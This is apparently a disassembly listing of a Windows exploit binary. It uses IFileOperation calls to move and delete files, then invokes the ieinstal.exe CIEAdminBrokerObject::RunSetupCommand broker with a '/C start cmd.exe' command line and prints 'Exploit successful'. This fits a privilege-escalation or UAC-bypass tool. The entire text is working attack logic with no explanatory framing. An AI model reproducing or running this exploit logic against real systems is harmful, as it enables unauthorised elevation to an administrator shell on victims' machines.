lea r9, [rbp + 0x768]
lea r8, [0x140029910]
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017848
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SHCreateItemFromParsingName____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xec4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xec4]
jmp 0x140017f8d
lea r9, [rbp + 0x788]
lea r8, [0x140029910]
xor edx, edx
lea rcx, [rbp + 0x540]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017970
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SHCreateItemFromParsingName____2__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xee4], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xee4]
jmp 0x140017f8d
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rbp + 0x768]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x90]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017ab0
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::DeleteItem___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf04], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xf04]
jmp 0x140017f8d
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x788]
mov rdx, qword [rbp + 0x7a8]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x70]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017bfd
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::MoveItem___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf24], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xf24]
jmp 0x140017f8d
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0xa8]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [rbp + 0x64], 0
jge 0x140017d33
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::PerformOperations___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
lea rdx, [0x140011672]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011375]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf44], 1
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xf44]
jmp 0x140017f8d
xor r8d, r8d
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xc8]
call fcn.1400114e2
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0xc8]
call fcn.1400111b3
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb8]
lea rcx, [rbp + 0xc8]
call fcn.1400115be
lea rcx, [rbp + 0xf68]
call fcn.14001163b
lea rcx, [rbp + 0xc8]
call fcn.140011262
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x808], rax
mov rdx, qword [rbp + 0x238]
lea rcx, [rbp + 0x828]
call fcn.140011258
nop
lea rdx, str.__C_start_cmd.exe
lea rcx, [rbp + 0x828]
call fcn.14001139d
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
lea rcx, [rbp + 0x828]
call fcn.140011262
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
lea rcx, [rbp + 0x868]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0
lea rcx, [0x140022afc]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x808]
mov qword [rsp + 0x28], rcx
lea rcx, [0x140022afc]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x238]
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x20]
mov dword [rbp + 0x64], eax
mov rcx, qword [rbp + 0x808]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 0x64], 0x80070057
je 0x140017ec5
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::RunSetupCommand___did_not_return_the_expected_value__E_INVALIDARG_._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023c70]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 0xf
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023c74]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023c78]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Exploit_successful._n_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400113a2
mov dx, 7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rbp + 0xfa4], 0
lea rcx, [rbp + 0x828]
call fcn.14001163b
nop
lea rcx, [rbp + 0xc8]
call fcn.14001163b
nop
lea rcx, [rbp + 0x88]
call fcn.14001163b
mov eax, dword [rbp + 0xfa4]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140022018]
call fcn.1400115fa
mov rax, rdi
mov rcx, qword [rbp + 0xfc0]
xor rcx, rbp
call fcn.14001136b
lea rsp, [rbp + 0xfd8]
pop rdi
pop rbp
ret